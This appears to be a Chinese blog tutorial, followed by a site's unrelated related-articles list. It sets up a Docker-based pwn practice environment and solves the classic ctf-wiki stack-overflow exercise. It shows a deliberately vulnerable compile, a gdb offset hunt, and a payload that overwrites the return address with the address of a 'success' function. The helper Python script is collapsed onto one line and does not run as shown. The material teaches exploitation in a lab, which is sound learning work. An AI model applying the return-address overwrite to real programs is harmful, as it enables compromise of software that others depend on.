当前位置: 首页 > news >正文

基于Windows Docker desktop搭建pwn环境

安装虚拟机很重,占空间,影响速度。
今天试了下用Windows下的Docker搭建pwn做题环境,搭配MobaXterm真的很好!

一、Windows下安装Docker desktop

网上参考文章很多,不赘述。
说明:去https://www.docker.com/products/docker-desktop下载最新版本的安装包,国内可能下载不了,你懂的,也有博主分享了baiduyun,安装过程非常简单,不用手动调整windows组件(WSL v2)。
在这里插入图片描述

安装完成需要配置源:
国内从 DockerHub 拉取镜像有时会遇到困难,此时可以配置镜像加速器。
阿里云镜像获取地址:https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
在这里插入图片描述

然后把wsl的虚拟机地址移到其他盘(默认C盘):
在这里插入图片描述

二、从Dockerfile建立镜像,并运行容器

参考:https://ctf-wiki.org/pwn/linux/user-mode/environment/

新建Dockerfile文件

在这里插入图片描述

执行build生成镜像

docker build -t pwn_ubuntu22 .

运行容器

docker run -d -p 25000:22 --name=pwn22 --restart unless-stopped -v home_ubuntu22:/home/your_user_name pwn_ubuntu22

MobaXterm连接容器

在这里插入图片描述

三、写C代码、编译、执行

具体代码略,参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/
注意编译时要加-no-pie参数:

gcc -m32 -fno-stack-protector stack_example.c -no-pie -o stack_example

执行,观察有栈溢出漏洞:
在这里插入图片描述

四、反汇编

目标:找到合适的调试断点及控制程序返回点

objdump -M intel -d stack_example

找到函数:vulnerable
找到返回前的地址:0x080491e5,在这里下断点调试
在这里插入图片描述
找到suscess函数地址:0x08049186
在这里插入图片描述

五、栈溢出调试(原始方法,暂时没用pwntools)

准备输入文本

脚本:

#s0.py
buffer = ""for i in range(0x41,0x5b): #AAAA-ZZZZbuffer += chr(i)*4print(buffer)

生成文件:

python s0.py > s0.txt

在这里插入图片描述

gdb调试

下断点,导入文本:

gdb stack_example
b *0x080491e5
start
r < s0.txt

在这里插入图片描述
在这里插入图片描述
算出需要填入的字符为0x18个(A-F:6个字母,4*6=24=0x18)
在这里插入图片描述
按c回车继续执行
在这里插入图片描述

六、最终脚本

再次生成测试文本:
上面算出需要填充0x18个字符,覆盖ebp,再写入返回地址

python2 -c 'print("A" * 0x18 + "\x86\x91\x04\x08")' > s1.txt

说明:“\x86\x91\x04\x08” 为success地址:0x08049186的小端形式,反过来的。
在这里插入图片描述
再次调试:
在这里插入图片描述
打一下试试:

python2 -c 'print("A" * 0x18 + "\x86\x91\x04\x08")' | ./stack_example

在这里插入图片描述
pwn环境配置及最简单的pwn题测试成功了!

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • ATA-M8功率放大器在变压器老化中的作用是什么
  • python: 打包好的exe程序(冻结程序)中使用多进程,子进程不能正常执行!
  • 八股文-基础知识-int和Integer有什么区别?
  • 图片url处理(带http和不带http)方法
  • “微软蓝屏”事件:网络安全与稳定性的深刻反思
  • 深入学习H264和H265
  • 数据集相关类代码回顾理解 | StratifiedShuffleSplit\transforms.ToTensor\Counter
  • 【组件协作】模板方法
  • 【TS】TypeScript数组类型:掌握数据集合的类型安全
  • 2024钉钉杯A题思路详解
  • 【Qt】修改窗口的标题和图标
  • PHP西陆招聘求职系统小程序源码
  • chrome 接口请求等待时间(installed 已停止)过长问题定位
  • 实现代码灵活性:用Roslyn动态编译和执行存储在数据库中的C#代码
  • 论文解读:DiAD之SG网络
  • 【Redis学习笔记】2018-06-28 redis命令源码学习1
  • 【Under-the-hood-ReactJS-Part0】React源码解读
  • CSS实用技巧
  • Facebook AccountKit 接入的坑点
  • IndexedDB
  • Java 9 被无情抛弃,Java 8 直接升级到 Java 10!!
  • Node 版本管理
  • PHP 7 修改了什么呢 -- 2
  • Twitter赢在开放,三年创造奇迹
  • ubuntu 下nginx安装 并支持https协议
  • Vue--数据传输
  • weex踩坑之旅第一弹 ~ 搭建具有入口文件的weex脚手架
  • 从零开始的无人驾驶 1
  • 第三十一到第三十三天:我是精明的小卖家(一)
  • - 概述 - 《设计模式(极简c++版)》
  • 个人博客开发系列:评论功能之GitHub账号OAuth授权
  • 码农张的Bug人生 - 初来乍到
  • 使用 Docker 部署 Spring Boot项目
  • 一份游戏开发学习路线
  • 这几个编码小技巧将令你 PHP 代码更加简洁
  • FaaS 的简单实践
  • ​sqlite3 --- SQLite 数据库 DB-API 2.0 接口模块​
  • ​猴子吃桃问题:每天都吃了前一天剩下的一半多一个。
  • !! 2.对十份论文和报告中的关于OpenCV和Android NDK开发的总结
  • #{} 和 ${}区别
  • #HarmonyOS:Web组件的使用
  • #include到底该写在哪
  • #QT(TCP网络编程-服务端)
  • $GOPATH/go.mod exists but should not goland
  • (7)svelte 教程: Props(属性)
  • (Python第六天)文件处理
  • (pytorch进阶之路)CLIP模型 实现图像多模态检索任务
  • (苍穹外卖)day03菜品管理
  • (待修改)PyG安装步骤
  • (回溯) LeetCode 46. 全排列
  • (七)Appdesigner-初步入门及常用组件的使用方法说明
  • (亲测有效)解决windows11无法使用1500000波特率的问题
  • (一)插入排序
  • (原創) 物件導向與老子思想 (OO)
  • (转)平衡树